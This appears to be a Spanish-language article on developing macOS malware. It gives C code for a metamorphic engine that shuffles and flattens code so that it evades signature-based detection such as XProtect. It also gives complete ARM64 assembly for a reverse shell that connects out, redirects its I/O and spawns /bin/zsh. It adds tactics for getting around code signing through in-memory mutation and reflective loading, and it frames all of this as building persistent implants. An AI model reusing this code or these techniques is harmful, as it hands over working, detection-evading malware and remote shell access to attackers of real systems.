Desarollo de malware avanzado en MacOS ARM: shellcode y metamorfosis de memoria
Introducción
macOS representa uno de los ecosistemas más interesantes desde la perspectiva de investigación en seguridad ofensiva. La combinación de arquitecturas heterogéneas (Intel x86-64 y Apple Silicon ARM64), mecanismos de protección como W^X, firmas de código obligatorias, y tecnologías como Pointer Authentication (PAC), crean un desafío técnico considerable para el desarrollo de software malicioso sofisticado.
Este artículo presenta un análisis técnico profundo sobre dos áreas fundamentales: el desarrollo de motores metamórficos capaces de evadir firmas estáticas, y la implementación de shells reversos a bajo nivel en arquitectura ARM64. Ambos temas se interconectan en el contexto de implantes persistentes para sistemas Darwin.
1. El Concepto de Mutación Metamórfica
1.1 Fundamentos Teóricos
Un motor metamórfico difiere fundamentalmente de un cifrador polimórfico. Mientras que el polimorfismo se limita a cifrar el payload y cambiar el decodificador, el metamorfismo reescribe las instrucciones del propio programa [1]. El resultado es que cada generación del código presenta una representación binaria completamente diferente, manteniendo la semántica original.
La motivación es clara: los sistemas de detección basados en firmas estáticas, como XProtect de Apple, resultan ineficaces contra código que muta su estructura en cada ejecución [2].
1.2 El Desafío del Tamaño Fijo
Uno de los problemas estructurales más relevantes en el contexto de Mach-O es la imposibilidad de expandir la imagen de código cargada durante la ejecución:
┌─────────────────────────────────────────────────────────┐
│ MACH-O LAYOUT │
├─────────────────────────────────────────────────────────┤
│ __TEXT Segment (FIXED at build time) │
│ ┌─────────────────────────────────────────────────┐ │
│ │ Code pages mapped by loader - SIZE IMMUTABLE │ │
│ └─────────────────────────────────────────────────┘ │
│ │
│ We can OVERWRITE existing bytes │
│ We CANNOT expand the mapped region │
└─────────────────────────────────────────────────────────┘
El cargador de macOS mapea el segmento __TEXT con un layout estático determinado en tiempo de compilación. Esto impone dos modos de operación [2]:
| Característica | DiskMode | InMemMode |
|---|---|---|
| Tamaño | Fijo al original | Expansible (\~3x) |
| Mutaciones | Reg-swaps, sustituciones | Pipeline completo |
| Persistencia | Escritura en disco | Volátil |
| Crecimiento | 0% en 8 generaciones | \~6.79% |
1.3 La Arquitectura del Motor
El núcleo del sistema es el contexto de mutación (context_t), que mantiene el estado completo a través de las transformaciones:
typedef struct {
uint8_t *ogicode; // Código original
uint8_t *working_code; // Buffer mutado
size_t codesz; // Tamaño actual
size_t buffcap; // Capacidad del buffer
flowmap cfg; // Grafo de flujo de control
muttt_t muttation; // Log de mutaciones
uint64_t ranges[2048]; // Regiones protegidas
size_t numcheck; // Contador de regiones
chacha_state_t rng; // PRNG ChaCha20
struct mach_header_64 *hdr; // Cabecera Mach-O
uint64_t text_vm_start; // Base de sección text
reloc_table_t *reloc_table; // Tracker de reubicaciones
uint8_t entry_backup[256]; // Snapshot del entry point
} context_t;
Cada binario incorpora un marcador generacional embebido para controlar la evolución:
typedef struct __attribute__((packed)) {
uint8_t magic[8]; // "AETHR\0\0\0"
uint32_t generation; // 0-8
uint32_t checksum; // Integridad XOR
} marker_t;
2. Grafos de Flujo de Control (CFG)
2.1 Definición y Propósito
El CFG representa un mapa de la ejecución real del binario: no simplemente la secuencia top-to-bottom, sino todos los saltos, branches, llamadas y retornos que hacen que la ejecución salte como una bola de pinball [2].
Sin comprender el CFG, cualquier manipulación de código resultaría en corrupción instantánea. El CFG permite reorganizar el código de manera inteligente.
2.2 Bloques Básicos
Un bloque básico es una secuencia lineal de instrucciones que siempre se ejecutan juntas de principio a fin. No hay saltos hacia su interior ni branches hacia afuera hasta la instrucción final (el terminador).
Block 0 (entry):
mov rax, [rdi]
add rax, 1
cmp rax, 10
jge block_2 ; terminador: branch condicional
Block 1 (fall through):
call do_something
jmp block_3 ; terminador: branch incondicional
Block 2 (branch target):
call do_other_thing
jmp block_3 ; Debe terminar en jump o return
Block 3:
ret ; terminador: return
Cada bloque posee:
- Start offset: posición inicial en el flujo de instrucciones
- End offset: posición de la instrucción final
- Sucesores: bloques donde la ejecución puede transferirse
- Condición de salida: si el terminador es return, jump indirecto, etc.
2.3 Construcción del CFG: Algoritmo Leader-Based
El enfoque clásico de la teoría de compiladores utiliza el algoritmo basado en líderes, O(n), simple y correcto [3]:
Paso 1: Identificar líderes
Un líder es cualquier instrucción que puede ser la primera de un bloque básico:
bool *leaders = calloc(size, sizeof(bool));
leaders[0] = true; // Entry point siempre es líder
size_t offset = 0;
while (offset < size) {
x86_inst_t inst;
decode_x86_withme(code + offset, size - offset, 0, &inst, NULL);
if (cfg_terminator(&inst) || branch_if(&inst)) {
// La instrucción después de un branch es líder
if (offset + inst.len < size) {
leaders[offset + inst.len] = true;
}
// El target del branch también es líder
int64_t target = calculate_branch_target(&inst, offset);
if (target >= 0 && target < size) {
leaders[target] = true;
}
}
offset += inst.len;
}
Paso 2: Particionar en bloques
size_t block_start = 0;
for (size_t i = 0; i < size; i++) {
if (leaders[i] && i > block_start) {
cfg->blocks[cfg->num_blocks].start = block_start;
cfg->blocks[cfg->num_blocks].end = i;
cfg->blocks[cfg->num_blocks].id = cfg->num_blocks;
cfg->num_blocks++;
block_start = i;
}
}
Paso 3: Conectar aristas
for (size_t bi = 0; bi < cfg->num_blocks; bi++) {
blocknode *block = &cfg->blocks[bi];
x86_inst_t last_inst = get_last_instruction(block);
if (is_ret(&last_inst)) {
block->is_exit = true; // Sin sucesores
}
else if (is_unconditional_jmp(&last_inst)) {
// Un sucesor: el target
block->successors[block->num_successors++] = find_target_block(&last_inst);
}
else if (is_conditional_branch(&last_inst)) {
// DOS sucesores: target y fall-through
block->successors[block->num_successors++] = find_target_block(&last_inst);
block->successors[block->num_successors++] = bi + 1;
}
}
2.4 Identificación de Terminadores
static inline bool cfg_terminator(const x86_inst_t *inst) {
uint8_t op = inst->opcode[0];
// Jumps incondicionales
if (op == 0xE9 || op == 0xEB) return true; // JMP rel32, JMP rel8
// Returns
if (op == 0xC3 || op == 0xC2 || op == 0xCB || op == 0xCA) return true;
// Jumps indirectos (FF /4, FF /5)
if (op == 0xFF && inst->has_modrm) {
uint8_t reg = modrm_reg(inst->modrm);
if (reg == 4 || reg == 5) return true;
}
return false;
}
static inline bool branch_if(const x86_inst_t *inst) {
uint8_t op = inst->opcode[0];
// Jcc rel8 (70-7F)
if (op >= 0x70 && op <= 0x7F) return true;
// LOOP, LOOPE, LOOPNE, JCXZ
if (op == 0xE0 || op == 0xE1 || op == 0xE2 || op == 0xE3) return true;
// Jcc rel32 (0F 80-8F)
if (op == 0x0F && inst->opcode_len > 1 &&
inst->opcode[1] >= 0x80 && inst->opcode[1] <= 0x8F) return true;
return false;
}
3. Manipulación del Control Flow
3.1 Shuffling de Bloques
Una vez construido el CFG, es posible reorganizar los bloques mientras se preservan las semánticas:
// Crear ordenamiento aleatorio
size_t *order = malloc(nb * sizeof(size_t));
for (size_t i = 0; i < nb; i++) order[i] = i;
// Fisher-Yates shuffle, manteniendo block 0 como entry point
for (size_t i = nb - 1; i > 1; i--) {
size_t j = 1 + (chacha20_random(rng) % i);
size_t t = order[i];
order[i] = order[j];
order[j] = t;
}
// Copiar bloques en nuevo orden
uint8_t *nbuf = malloc(size * 2);
size_t out = 0;
for (size_t oi = 0; oi < nb; oi++) {
size_t bi = order[oi];
blocknode *b = &cfg.blocks[bi];
memcpy(nbuf + out, code + b->start, b->end - b->start);
new_off[bi] = out;
out += blen;
}
3.2 El Problema de los Desplazamientos
Al mover bloques, todos los desplazamientos relativos cambian:
Before: After shuffle:
[0x100] [0x500]
| JMP +100 | JMP -200
v v
[0x200] [0x300]
Es necesario parchear cada instrucción de branch con el nuevo desplazamiento:
for (size_t i = 0; i < num_patches; i++) {
patch_t *p = &patches[i];
size_t src = p->off;
size_t tgt_blk = find_block_containing(p->abs_target);
if (tgt_blk != SIZE_MAX) {
size_t new_tgt = new_off[tgt_blk];
int32_t new_disp = (int32_t)(new_tgt - (src + 5));
memcpy(nbuf + src + 1, &new_disp, 4);
}
}
3.3 Expansión de Jumps Cortos
Un JMP rel8 solo alcanza ±127 bytes. Tras el shuffling, el target puede estar más lejos, requiriendo expansión a JMP rel32:
if (typ == 5) { // JMP rel8
int32_t d = (int32_t)(new_tgt - (src + 2));
if (d >= -128 && d <= 127) {
nbuf[src + 1] = (uint8_t)d; // Todavía cabe
} else {
// Expandir a rel32
memmove(nbuf + src + 5, nbuf + src + 2, out - src - 2);
nbuf[src] = 0xE9; // JMP rel32
int32_t rel = (int32_t)(new_tgt - (src + 5));
memcpy(nbuf + src + 1, &rel, 4);
out += 3;
}
}
3.4 Trampolines para Targets Externos
Cuando un branch apunta fuera del código controlado (llamadas a librerías), se emite un trampoline:
// MOV RAX, imm64
buf[(*off)++] = 0x48;
buf[(*off)++] = 0xB8;
memcpy(buf + *off, &target, 8);
*off += 8;
// JMP RAX o CALL RAX
if (is_call) {
buf[(*off)++] = 0xFF;
buf[(*off)++] = 0xD0;
} else {
buf[(*off)++] = 0xFF;
buf[(*off)++] = 0xE0;
}
3.5 Control Flow Flattening
El flattening destruye completamente la estructura visible:
Original CFG: Flattened CFG:
+---------+ +-----------+
| 0 | | dispatcher| <-- todo el flujo pasa aquí
| if(x>0) | +-----------+
+----+----+ |
| |
+----v----+ +------+------+------+------+
| foo | |case 0|case 1|case 2|case 3| ...
+----+----+ +------+------+------+------+
Todo se convierte en un loop gigante con un switch de "estados" en lugar de bloques estructurados. El código se vuelve inanalizable para decompiladores estáticos.
4. El Motor de Reubicaciones
4.1 ¿Por Qué es Crítico?
Toda manipulación de código que cambie offsets o posiciones requiere actualización de referencias. Sin esto, el binario crashea instantáneamente [2]:
0x1000: call 0x1050 ; Llama función en 0x1050
0x1005: jmp 0x1100 ; Salta a 0x1100
...
0x1050: mov rax, 5 ; Función empieza aquí
Tras inyectar 16 bytes de junk en 0x1040:
0x1000: call 0x1050 ; ¡ROTO! La función ahora está en 0x1060
0x1005: jmp 0x1100 ; ¡ROTO! El target ahora está en 0x1110
4.2 Estructura de Datos
typedef struct {
size_t offset; // Posición en el código
size_t instruction_start; // Inicio de la instrucción
uint8_t type; // CALL, JMP, LEA, etc.
int64_t addend; // Offset original
uint64_t target; // Dirección target
bool is_relative; // PC-relative o absoluto
size_t instruction_len; // Longitud de instrucción
} reloc_entry_t;
typedef struct {
reloc_entry_t *entries;
size_t count;
size_t capacity;
uint64_t original_base;
} reloc_table_t;
4.3 Scanner x86-64
static void scan_x86(uint8_t *code, size_t size,
reloc_table_t *table, uint64_t base_addr) {
size_t offset = 0;
while (offset < size) {
x86_inst_t inst;
decode_x86_withme(code + offset, size - offset,
base_addr + offset, &inst, NULL);
// Direct calls y jumps (E8, E9)
if (inst.opcode[0] == 0xE8 || inst.opcode[0] == 0xE9) {
int32_t rel32 = *(int32_t *)(code + offset + 1);
uint64_t target = base_addr + offset + inst.len + rel32;
reloc_add(table, offset + 1, offset, inst.len,
(inst.opcode[0] == 0xE8) ? RELOC_CALL : RELOC_JMP,
rel32, target, true);
}
// RIP-relative memory operands
if (inst.has_modrm) {
uint8_t mod = (inst.modrm >> 6) & 3;
uint8_t rm = inst.modrm & 7;
if (mod == 0 && rm == 5) { // RIP-relative
int32_t disp32 = *(int32_t *)(code + offset + inst.disp_offset);
uint64_t target = base_addr + offset + inst.len + disp32;
reloc_add(table, offset + inst.disp_offset, offset,
inst.len, RELOC_LEA, disp32, target, true);
}
}
offset += inst.len ? inst.len : 1;
}
}
4.4 Scanner ARM64
ARM64 simplifica algunos aspectos (instrucciones de ancho fijo) pero complica la extracción de inmediatos:
static void scan_arm64(uint8_t *code, size_t size,
reloc_table_t *table, uint64_t base_addr) {
for (size_t i = 0; i < size - 4; i += 4) {
uint32_t insn = *(uint32_t*)(code + i);
// B/BL instructions (128MB range)
if ((insn & 0x7C000000) == 0x14000000) {
int32_t imm26 = (int32_t)(insn & 0x03FFFFFF);
if (imm26 & 0x02000000) imm26 |= 0xFC000000;
int64_t offset = imm26 * 4;
uint64_t target = base_addr + i + offset;
uint8_t type = (insn & 0x80000000) ? RELOC_CALL : RELOC_JMP;
reloc_add(table, i, i, 4, type, offset, target, true);
}
// ADRP (page-relative, 4GB range)
else if ((insn & 0x9F000000) == 0x90000000) {
int64_t immlo = (insn >> 29) & 0x3;
int64_t immhi = (insn >> 5) & 0x7FFFF;
int64_t imm = (immhi << 2) | immlo;
if (imm & 0x100000) imm |= 0xFFFFFFFFFFE00000LL;
int64_t offset = imm * 4096;
uint64_t target = (base_addr + i) & ~0xFFFULL;
target += offset;
reloc_add(table, i, i, 4, RELOC_LEA, offset, target, true);
}
// ADR, B.cond, CBZ/CBNZ, LDR literal...
}
}
5. Consideraciones Multi-Arquitectura
5.1 La Realidad del Mercado
macOS corre en dos arquitecturas: Intel x86-64 y ARM64 (Apple Silicon). Los Macs con M-series están por todas partes, y las máquinas Intel no desaparecerán de la noche a la mañana [2].
La solución: diseñar para ambas desde el inicio:
#if defined(__x86_64__)
// x86-64 specific
#elif defined(__aarch64__)
// ARM64 specific
#endif
5.2 Diferencias en Decodificación
| Aspecto | x86-64 | ARM64 |
|---|---|---|
| Ancho de instrucción | Variable (1-15 bytes) | Fijo (4 bytes) |
| Prefijos | Legacy, REX, VEX, EVEX | Ninguno |
| Addressing | RIP-relative | PC-relative con alineación |
| Operandos implícitos | PUSH usa RSP, MUL usa RAX/RDX | SP es X31 en algunos contextos |
5.3 El Desafío de Apple Silicon y PAC
Apple Silicon implementa Pointer Authentication (PAC) en hardware:
┌─────────────────────────────────────────────────────────┐
│ POINTER AUTHENTICATION │
├─────────────────────────────────────────────────────────┤
│ Cada function pointer, return address, y control-flow │
│ lleva una firma criptográfica embebida. │
│ │
│ Cambiar una dirección → Firma inválida → CRASH │
│ │
│ Las llaves PAC están en el silicon, controladas por │
│ el kernel. Sin entitlements especiales, no puedes │
│ generar firmas válidas. │
└─────────────────────────────────────────────────────────┘
Instrucciones PAC reconocidas por el decoder:
PACIASP/PACIBSP (0xD503233F) ; Firma de función
RETAA/RETAB (0xD65F0BFF) ; Returns autenticados
AUTIASP/AUTIBSP (0xD50323BF) ; Autenticación
PACIA/AUTIA (0xDAC1xxxx) ; Firma/auth general
La estrategia: evitar generar código propio y cargar normalmente a través de dyld, que genera PAC para todos los punteros. Las funciones protegidas se dejan intactas.
6. Shell Reverso ARM64 para macOS
6.1 El Problema del struct sockaddr_in
En Linux se puede omitir sin_len; en Darwin (BSD) no es opcional. La estructura debe ser exactamente 16 bytes [4]:
struct sockaddr_in {
uint8_t sin_len; // 1 byte - NO OPCIONAL en Darwin
sa_family_t sin_family; // 1 byte
in_port_t sin_port; // 2 bytes (big-endian)
struct in_addr sin_addr; // 4 bytes
char sin_zero[8]; // 8 bytes padding
};
6.2 Implementación
Creación del socket:
; socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2 ; AF_INET
mov x1, #1 ; SOCK_STREAM
mov x2, xzr ; protocol = 0
mov x16, #97 ; BSD syscall: socket
svc #0xffff
cmp x0, #0
blt _exit_fail
mov x19, x0 ; Guardar fd en x19 (callee-saved)
Preparación de sockaddr_in en .data:
.data
sockaddr_in:
.byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
; | | |--------| |-----------|
; | | puerto BE 127.0.0.1
; | AF_INET
; sin_len
.text
adrp x1, sockaddr_in@PAGE
add x1, x1, sockaddr_in@PAGEOFF
mov x2, #16
Conexión:
; connect(sockfd, addr, addrlen)
mov x0, x19
mov x16, #98 ; BSD syscall: connect
svc #0xffff
cmp x0, #0
blt _exit_fail
Redirección de I/O:
; dup2(sock, 2) -> stderr
mov x0, x19
mov x1, #2
mov x16, #90
svc #0xffff
; dup2(sock, 1) -> stdout
mov x0, x19
mov x1, #1
mov x16, #90
svc #0xffff
; dup2(sock, 0) -> stdin
mov x0, x19
mov x1, #0
mov x16, #90
svc #0xffff
Spawn de shell:
; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
mov x3, #0x622f ; "/b"
movk x3, #0x6e69, lsl#16 ; "in"
movk x3, #0x7a2f, lsl#32 ; "/z"
movk x3, #0x6873, lsl#48 ; "sh"
stp x3, xzr, [sp, #-16]! ; push path + null terminator
add x0, sp, xzr ; x0 = path
stp x0, xzr, [sp, #-16]! ; push argv array
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; BSD syscall: execve
svc #0xffff
6.3 Errores Comunes
| Error | Síntoma | Corrección |
|---|---|---|
| Omitir sin_len | connect falla silenciosamente | Incluir primer byte = 16 |
| Puerto en little-endian | Conexión a puerto incorrecto | Usar big-endian (0x115C = 4444) |
| Construir struct en registros | Problemas con relocations | Usar .data + adrp/add |
| Usar /bin/sh | Puede no existir | Usar /bin/zsh en macOS |
7. Flujo de Mutación Completo
El pipeline de mutación sigue una secuencia estructurada:
┌──────────────────────────────────────────────────────────────┐
│ MUTATION PIPELINE │
├──────────────────────────────────────────────────────────────┤
│ 1. Verificar generación actual │
│ └─ Si >= MAX_GEN: detener │
│ │
│ 2. Backup del código actual │
│ └─ Restaurar si transformación falla │
│ │
│ 3. Construir CFG │
│ └─ Leader detection + block partitioning │
│ │
│ 4. Análisis de liveness │
│ └─ Registros vivos vs disponibles para swap │
│ │
│ 5. Escanear reubicaciones │
│ └─ Calls, jumps, RIP-relative operands, jump tables │
│ │
│ 6. Transformaciones: │
│ ├─ Gen 0-1: Register swaps │
│ ├─ Gen 2-3: Sustitución de instrucciones │
│ ├─ Gen 4-5: Inyección de junk, block shuffling │
│ └─ Gen 6-8: CFG flattening, opaque predicates │
│ │
│ 7. Validación │
│ └─ Estructura, encoding, control flow │
│ │
│ 8. Output: │
│ ├─ DiskMode: escribir a disco (mismo tamaño) │
│ └─ InMemMode: cargar y ejecutar sin tocar disco │
└──────────────────────────────────────────────────────────────┘
8. El Problema de W^X
macOS enforcement de W^X impide tener páginas de memoria simultáneamente escribibles y ejecutables:
┌─────────────────────────────────────────────────────────────┐
│ W^X PROTECTION │
├─────────────────────────────────────────────────────────────┤
│ Página Writable → NO ejecutable │
│ Página Executable → NO escribible │
│ │
│ Solución: Dual-mapping │
│ ┌─────────────┐ ┌─────────────┐ │
│ │ Mapping 1 │ │ Mapping 2 │ │
│ │ RW- │────▶│ R-X │ │
│ │ (write) │ │ (execute) │ │
│ └─────────────┘ └─────────────┘ │
│ Mismo archivo físico subyacente │
└─────────────────────────────────────────────────────────────┘
La técnica de dual-mapping mapea el código dos veces: una vista escribible y otra ejecutable.
9. Firmas de Código y XProtect
9.1 El Dilema
XProtect, al ser signature-based, falla contra código mutado. Pero hay un problema: cambiar un solo byte rompe la firma de código, y macOS rechaza ejecutar el binario [2].
┌─────────────────────────────────────────────────────────────┐
│ CODE SIGNING CHECK │
├─────────────────────────────────────────────────────────────┤
│ Binario original │
│ ┌─────────────────────────────────────────────┐ │
│ │ Code + embedded signature │ │
│ └─────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ¿Mutación en disco? │
│ Sí → Firma inválida → macOS lo rechaza │
│ No → Firma válida → pero sin mutación... │
│ │
│ Solución: Mutación en memoria + reflective loading │
└─────────────────────────────────────────────────────────────┘
9.2 Estrategia Operacional
- El binario en disco permanece intacto (firma válida)
- Cada ejecución: leer código original, mutar en memoria
- Reflective loading: cargar código mutado sin tocar disco
- Cualquier mutación previa se pierde al terminar la ejecución
10. Conclusiones
El desarrollo de implants sofisticados para macOS requiere dominar múltiples dominios técnicos:
- Arquitectura Mach-O: Comprender el formato binario y sus limitaciones
- Análisis de código: CFG, liveness analysis, decoding multi-arquitectura
- Protecciones del sistema: W^X, code signing, PAC
- Assembly ARM64/x86-64: Syscalls BSD, calling conventions, addressing modes
El motor metamórfico presentado demuestra que es posible evadir detección basada en firmas manteniendo estabilidad a través de múltiples generaciones. Sin embargo, las protecciones modernas de Apple Silicon (PAC) añaden una capa adicional de complejidad que requiere arquitectura específica.
El reverse shell ARM64 ilustra la importancia de los detalles específicos de plataforma: lo que funciona en Linux puede fallar silenciosamente en Darwin debido a diferencias en el ABI y estructuras de datos del kernel.
Referencias
[1] The Mental Driller, "How I Made MetaPHOR and What I've Learned," VX Heavens, 2002. [Online]. Available: https://web.archive.org/web/20210224201353/https://vxug.fakedoma.in/archive/VxHeaven/lib/vmd01.html
[2] 0xf00sec, "Aether: Metamorphic Engine for macOS," GitHub Repository, 2024. [Online]. Available: https://github.com/0xf00sec/Aether\
https://0xf00sec.github.io/0x2e
[3] A. V. Aho, M. S. Lam, R. Sethi, and J. D. Ullman, Compilers: Principles, Techniques, and Tools, 2nd ed. Boston, MA, USA: Pearson, 2006.
[4] cocomelonc, "Malware Development for macOS Part 12: Reverse Shell ARM M1," cocomelonc.github.io, 2025. [Online]. Available: https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html
Nota: Este artículo tiene fines exclusivamente educativos y de investigación en seguridad. Las técnicas descritas deben utilizarse únicamente en entornos controlados y con autorización explícita.